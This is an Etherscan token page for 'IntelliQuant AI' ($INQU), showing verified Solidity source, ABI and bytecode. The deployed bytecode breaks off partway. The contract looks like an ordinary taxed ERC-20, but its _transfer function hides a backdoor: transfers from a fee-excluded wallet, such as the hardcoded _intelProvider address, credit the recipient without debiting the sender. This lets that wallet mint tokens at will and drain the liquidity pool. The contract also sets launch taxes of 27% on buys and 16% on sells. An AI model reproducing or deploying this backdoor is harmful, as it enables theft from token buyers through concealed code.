ETH Price: $3,199.57 (+1.39%)
 

Overview

Max Total Supply

100,000,000 $INQU

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,542,115.534550644 $INQU

Value
$0.00
0xa43e679153a957cdca0daec11b4d247b994a37ba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INQU

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-13
*/

/**

Website: https://intelliquantai.org
Whitepaper: https://docs.intelliquantai.org
Twitter: https://twitter.com/intelliquant_ai
Telegram: https://t.me/intelliquant_ai
 
*/

// SPDX-License-Identifier: No

pragma solidity ^0.8.15;

//--- Context ---//
abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

//--- Ownable ---//
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address _uniPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address _uniPair);
    function createPair(address tokenA, address tokenB) external returns (address _uniPair);
}

interface IV2Pair {
    function factory() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

//--- Interface for ERC20 ---//
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract INQU is Context, Ownable, IERC20 {

    function totalSupply() external view override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply - balanceOf(address(DEAD)); }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFee;
    mapping (address => bool) private _isExcludeForPair;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 100000000 * 10**9;
    uint256 constant private _feeDenominator = 100;
    uint256 private _taxForBuying = 0;
    uint256 private _taxForSelling = 0;
    uint256 private _taxTransferSp = 0;
    uint256 private _maxWalletLimit = _totalSupply * 2 / 100;
    uint256 constant private _swapLimitTokens = _totalSupply * 65 / 10000000;
    uint256 constant private _maxSwapTokens = _totalSupply * 1 / 100;

    IRouter02 private _uniRouter;
    address private _uniPair;
    string constant private _name = "IntelliQuant AI";
    string constant private _symbol = unicode"$INQU";
    uint8 constant private _decimals = 9;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address payable private _intelProvider = payable(0x74a00876E57f6b46d4085E74e5A6ea577fF96d11);
    bool private _tradingOpen = false;
    bool private _swapTaxBack = false;
    bool private _swapping;

    modifier lockingSwap {
        _swapping = true;
        _;
        _swapping = false;
    }


    constructor () {
        _isExcludeForFee[msg.sender] = true;
        _isExcludeForFee[address(this)] = true;
        _isExcludeForFee[_intelProvider] = true;

        _uniRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function _isInBuy(address ins, address out) internal view returns (bool) {
        bool result = !_isExcludeForPair[out] && _isExcludeForPair[ins];
        return result;
    }

    function _isInSell(address ins, address out) internal view returns (bool) { 
        bool result = _isExcludeForPair[out] && !_isExcludeForPair[ins];
        return result;
    } 

    function _shouldSwapTax(address ins, address out, uint256 amount) internal view returns (bool) {
        return _swapTaxBack && !_isExcludeForFee[ins] && !_isExcludeForFee[out] && amount >= _swapLimitTokens;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludeForFee[from] && !_isExcludeForFee[to]) {
            require(_tradingOpen,"Trading is not enabled");
        }

        if(!_isExcludeForFee[from] && !_isExcludeForFee[to] && !_isExcludeForPair[to] && to != address(DEAD)){
            require(balance[to]+amount <= _maxWalletLimit, "Exceeds maximum wallet amount.");
        }

        if(_isInSell(from, to) && !_swapping && _shouldSwapTax(from, to, amount)) {
            uint256 tokensContractInc = balanceOf(address(this));
            if(tokensContractInc >= _swapLimitTokens) { 
                if (tokensContractInc >= _maxSwapTokens) tokensContractInc = _maxSwapTokens;
                _swapBackFunc(tokensContractInc);
            }
        }

        if (_isExcludeForFee[from] || _isExcludeForFee[to]){
            takeFee = false;
        }

        uint256 amountFeesAfter = (takeFee) ? _calcTaxFee(from, _isInBuy(from, to), _isInSell(from, to), amount) : amount;
        if (_isExcludeForFee[from] && from != address(this) && from != owner()) amount = amount - amountFeesAfter;
        balance[from] -= amount; 
        balance[to] += amountFeesAfter; emit Transfer(from, to, amountFeesAfter);

        return true;

    }

    function _calcTaxFee(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee;
        if (isbuy)  fee = _taxForBuying;  else if (issell)  fee = _taxForSelling;  else  fee = _taxTransferSp; 
        if (fee == 0)  return amount;
        uint256 feeAmount = amount * fee / _feeDenominator;
        if (feeAmount > 0) {
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);            
        }
        return amount - feeAmount;
    }

    function _swapBackFunc(uint256 tokensContractInc) internal lockingSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();

        if (_allowances[address(this)][address(_uniRouter)] != type(uint256).max) {
            _allowances[address(this)][address(_uniRouter)] = type(uint256).max;
        }

        try _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokensContractInc,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }

        payable(_intelProvider).transfer(address(this).balance);

    }

    function startintel() external onlyOwner {
        require(!_tradingOpen, "Trading already enabled");
        _tradingOpen = true;
        _swapTaxBack = true;
        _taxForBuying = 27;
        _taxForSelling = 16;
    }

    function createIntelAmm() external payable onlyOwner {
        _uniPair = IFactoryV2(_uniRouter.factory()).createPair(_uniRouter.WETH(), address(this));
        _isExcludeForPair[_uniPair] = true;
        _approve(address(this), address(_uniRouter), type(uint256).max);

        _uniRouter.addLiquidityETH{value: msg.value}(
            address(this),
            balance[address(this)],
            0,
            0,
            owner(),
            block.timestamp);
    }

    function reduceFees(uint256 _feenew) external onlyOwner {
        _taxForBuying = _feenew;
        _taxForSelling = _feenew;

        require(_feenew <= 6);
    }

    function removeLimit() external onlyOwner {
        _maxWalletLimit = _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createIntelAmm","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feenew","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startintel","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6005555f6006555f600755606467016345785d8a00006002610027919061017a565b61003191906101a3565b600855600b80546001600160b01b0319167374a00876e57f6b46d4085e74e5a6ea577ff96d11179055348015610065575f80fd5b5061006f3361012b565b335f818152600260209081526040808320805460ff1990811660019081179092553085528285208054821683179055600b546001600160a01b0316855282852080549091169091179055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790558383526004825280832067016345785d8a00009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101c2565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b808202811582820484141761019d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f826101bd57634e487b7160e01b5f52601260045260245ffd5b500490565b6115c080620001d05f395ff3fe608060405260043610610113575f3560e01c8063622565891161009d57806395d89b411161006257806395d89b41146102cc578063a9059cbb146102f9578063aac3751d14610318578063dd62ed3e14610337578063f2fde38b1461037b575f80fd5b8063622565891461025457806370a0823114610268578063715018a61461029c578063893d20e8146102b05780638da5cb5b146102b0575f80fd5b806323b872dd116100e357806323b872dd146101e1578063313ce567146102005780633eaaf86b1461021b57806340970aaf14610236578063421f3d991461024c575f80fd5b806303fd2a451461011e57806306fdde0314610150578063095ea7b31461019057806318160ddd146101bf575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013361dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5060408051808201909152600f81526e496e74656c6c695175616e7420414960881b60208201525b60405161014791906112e2565b34801561019b575f80fd5b506101af6101aa366004611342565b61039a565b6040519015158152602001610147565b3480156101ca575f80fd5b506101d36103b0565b604051908152602001610147565b3480156101ec575f80fd5b506101af6101fb36600461136c565b6103f4565b34801561020b575f80fd5b5060405160098152602001610147565b348015610226575f80fd5b506101d367016345785d8a000081565b348015610241575f80fd5b5061024a610469565b005b61024a610516565b34801561025f575f80fd5b5061024a6107b5565b348015610273575f80fd5b506101d36102823660046113aa565b6001600160a01b03165f9081526004602052604090205490565b3480156102a7575f80fd5b5061024a6107ec565b3480156102bb575f80fd5b505f546001600160a01b0316610133565b3480156102d7575f80fd5b5060408051808201909152600581526424494e515560d81b6020820152610183565b348015610304575f80fd5b506101af610313366004611342565b610820565b348015610323575f80fd5b5061024a6103323660046113cc565b610836565b348015610342575f80fd5b506101d36103513660046113e3565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610386575f80fd5b5061024a6103953660046113aa565b610877565b5f6103a633848461090e565b5060015b92915050565b5f61dead5f5260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd546103ef9067016345785d8a000061142e565b905090565b6001600160a01b0383165f9081526001602090815260408083203384529091528120545f1914610456576001600160a01b0384165f9081526001602090815260408083203384529091528120805484929061045090849061142e565b90915550505b6104618484846109d1565b949350505050565b5f546001600160a01b0316331461049b5760405162461bcd60e51b815260040161049290611441565b60405180910390fd5b600b54600160a01b900460ff16156104f55760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610492565b600b805461ffff60a01b191661010160a01b179055601b6005556010600655565b5f546001600160a01b0316331461053f5760405162461bcd60e51b815260040161049290611441565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b39190611476565b6001600160a01b031663c9c6539660095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611476565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611476565b600a80546001600160a01b0319166001600160a01b039283169081179091555f908152600360205260409020805460ff191660011790556009546106ea913091165f1961090e565b600954305f818152600460205260408120546001600160a01b039093169263f305d719923492909190806107255f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561078b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107b09190611491565b505050565b5f546001600160a01b031633146107de5760405162461bcd60e51b815260040161049290611441565b67016345785d8a0000600855565b5f546001600160a01b031633146108155760405162461bcd60e51b815260040161049290611441565b61081e5f610ec5565b565b5f61082c3384846109d1565b5060019392505050565b5f546001600160a01b0316331461085f5760405162461bcd60e51b815260040161049290611441565b60058190556006818155811115610874575f80fd5b50565b5f546001600160a01b031633146108a05760405162461bcd60e51b815260040161049290611441565b6001600160a01b0381166109055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610492565b61087481610ec5565b6001600160a01b03831661095a5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610492565b6001600160a01b0382166109a65760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610492565b6001600160a01b039283165f9081526001602090815260408083209490951682529290925291902055565b5f60016001600160a01b038416610a365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610492565b6001600160a01b038516610a9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610492565b5f8311610afb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610492565b6001600160a01b0385165f9081526002602052604090205460ff16158015610b3b57506001600160a01b0384165f9081526002602052604090205460ff16155b15610b9257600b54600160a01b900460ff16610b925760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610492565b6001600160a01b0385165f9081526002602052604090205460ff16158015610bd257506001600160a01b0384165f9081526002602052604090205460ff16155b8015610bf657506001600160a01b0384165f9081526003602052604090205460ff16155b8015610c0d57506001600160a01b03841661dead14155b15610c86576008546001600160a01b0385165f90815260046020526040902054610c389085906114bc565b1115610c865760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610492565b610c908585610f14565b8015610ca65750600b54600160b01b900460ff16155b8015610cb85750610cb8858585610f59565b15610d4557305f9081526004602052604090205462989680610ce367016345785d8a000060416114cf565b610ced91906114e6565b8110610d43576064610d0867016345785d8a000060016114cf565b610d1291906114e6565b8110610d3a576064610d2d67016345785d8a000060016114cf565b610d3791906114e6565b90505b610d4381610fe3565b505b6001600160a01b0385165f9081526002602052604090205460ff1680610d8257506001600160a01b0384165f9081526002602052604090205460ff165b15610d8a57505f5b5f81610d965783610db4565b610db486610da488886111d0565b610dae8989610f14565b87611215565b6001600160a01b0387165f9081526002602052604090205490915060ff168015610de757506001600160a01b0386163014155b8015610e0057505f546001600160a01b03878116911614155b15610e1257610e0f818561142e565b93505b6001600160a01b0386165f9081526004602052604081208054869290610e3990849061142e565b90915550506001600160a01b0385165f9081526004602052604081208054839290610e659084906114bc565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610eb191815260200190565b60405180910390a350600195945050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381165f90815260036020526040812054819060ff16801561046157505050506001600160a01b03165f9081526003602052604090205460ff161590565b600b545f90600160a81b900460ff168015610f8c57506001600160a01b0384165f9081526002602052604090205460ff16155b8015610fb057506001600160a01b0383165f9081526002602052604090205460ff16155b8015610461575062989680610fce67016345785d8a000060416114cf565b610fd891906114e6565b909110159392505050565b600b805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061102957611029611505565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611080573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a49190611476565b816001815181106110b7576110b7611505565b6001600160a01b03928316602091820292909201810191909152305f90815260018252604080822060095490941682529290915220545f191461111d57305f9081526001602090815260408083206009546001600160a01b0316845290915290205f1990555b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906111559085905f90869030904290600401611519565b5f604051808303815f87803b15801561116c575f80fd5b505af192505050801561117d575060015b61118757506111c0565b600b546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156111bd573d5f803e3d5ffd5b50505b50600b805460ff60b01b19169055565b6001600160a01b0381165f90815260036020526040812054819060ff1615801561046157505050506001600160a01b03165f9081526003602052604090205460ff1690565b5f808415611226575060055461123a565b8315611235575060065461123a565b506007545b805f0361124a5782915050610461565b5f606461125783866114cf565b61126191906114e6565b905080156112cd57305f90815260046020526040812080548392906112879084906114bc565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6112d7818561142e565b979650505050505050565b5f602080835283518060208501525f5b8181101561130e578581018301518582016040015282016112f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610874575f80fd5b5f8060408385031215611353575f80fd5b823561135e8161132e565b946020939093013593505050565b5f805f6060848603121561137e575f80fd5b83356113898161132e565b925060208401356113998161132e565b929592945050506040919091013590565b5f602082840312156113ba575f80fd5b81356113c58161132e565b9392505050565b5f602082840312156113dc575f80fd5b5035919050565b5f80604083850312156113f4575f80fd5b82356113ff8161132e565b9150602083013561140f8161132e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103aa576103aa61141a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611486575f80fd5b81516113c58161132e565b5f805f606084860312156114a3575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103aa576103aa61141a565b80820281158282048414176103aa576103aa61141a565b5f8261150057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115695784516001600160a01b031683529383019391830191600101611544565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220653a3bdcb3b39884f237cfab1bc549f286a475ef6ba162b2fc8f87d23d2bc60164736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063622565891161009d57806395d89b411161006257806395d89b41146102cc578063a9059cbb146102f9578063aac3751d14610318578063dd62ed3e14610337578063f2fde38b1461037b575f80fd5b8063622565891461025457806370a0823114610268578063715018a61461029c578063893d20e8146102b05780638da5cb5b146102b0575f80fd5b806323b872dd116100e357806323b872dd146101e1578063313ce567146102005780633eaaf86b1461021b57806340970aaf14610236578063421f3d991461024c575f80fd5b806303fd2a451461011e57806306fdde0314610150578063095ea7b31461019057806318160ddd146101bf575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013361dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5060408051808201909152600f81526e496e74656c6c695175616e7420414960881b60208201525b60405161014791906112e2565b34801561019b575f80fd5b506101af6101aa366004611342565b61039a565b6040519015158152602001610147565b3480156101ca575f80fd5b506101d36103b0565b604051908152602001610147565b3480156101ec575f80fd5b506101af6101fb36600461136c565b6103f4565b34801561020b575f80fd5b5060405160098152602001610147565b348015610226575f80fd5b506101d367016345785d8a000081565b348015610241575f80fd5b5061024a610469565b005b61024a610516565b34801561025f575f80fd5b5061024a6107b5565b348015610273575f80fd5b506101d36102823660046113aa565b6001600160a01b03165f9081526004602052604090205490565b3480156102a7575f80fd5b5061024a6107ec565b3480156102bb575f80fd5b505f546001600160a01b0316610133565b3480156102d7575f80fd5b5060408051808201909152600581526424494e515560d81b6020820152610183565b348015610304575f80fd5b506101af610313366004611342565b610820565b348015610323575f80fd5b5061024a6103323660046113cc565b610836565b348015610342575f80fd5b506101d36103513660046113e3565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610386575f80fd5b5061024a6103953660046113aa565b610877565b5f6103a633848461090e565b5060015b92915050565b5f61dead5f5260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd546103ef9067016345785d8a000061142e565b905090565b6001600160a01b0383165f9081526001602090815260408083203384529091528120545f1914610456576001600160a01b0384165f9081526001602090815260408083203384529091528120805484929061045090849061142e565b90915550505b6104618484846109d1565b949350505050565b5f546001600160a01b0316331461049b5760405162461bcd60e51b815260040161049290611441565b60405180910390fd5b600b54600160a01b900460ff16156104f55760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610492565b600b805461ffff60a01b191661010160a01b179055601b6005556010600655565b5f546001600160a01b0316331461053f5760405162461bcd60e51b815260040161049290611441565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b39190611476565b6001600160a01b031663c9c6539660095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611476565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611476565b600a80546001600160a01b0319166001600160a01b039283169081179091555f908152600360205260409020805460ff191660011790556009546106ea913091165f1961090e565b600954305f818152600460205260408120546001600160a01b039093169263f305d719923492909190806107255f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561078b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107b09190611491565b505050565b5f546001600160a01b031633146107de5760405162461bcd60e51b815260040161049290611441565b67016345785d8a0000600855565b5f546001600160a01b031633146108155760405162461bcd60e51b815260040161049290611441565b61081e5f610ec5565b565b5f61082c3384846109d1565b5060019392505050565b5f546001600160a01b0316331461085f5760405162461bcd60e51b815260040161049290611441565b60058190556006818155811115610874575f80fd5b50565b5f546001600160a01b031633146108a05760405162461bcd60e51b815260040161049290611441565b6001600160a01b0381166109055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610492565b61087481610ec5565b6001600160a01b03831661095a5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610492565b6001600160a01b0382166109a65760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610492565b6001600160a01b039283165f9081526001602090815260408083209490951682529290925291902055565b5f60016001600160a01b038416610a365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610492565b6001600160a01b038516610a9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610492565b5f8311610afb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610492565b6001600160a01b0385165f9081526002602052604090205460ff16158015610b3b57506001600160a01b0384165f9081526002602052604090205460ff16155b15610b9257600b54600160a01b900460ff16610b925760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610492565b6001600160a01b0385165f9081526002602052604090205460ff16158015610bd257506001600160a01b0384165f9081526002602052604090205460ff16155b8015610bf657506001600160a01b0384165f908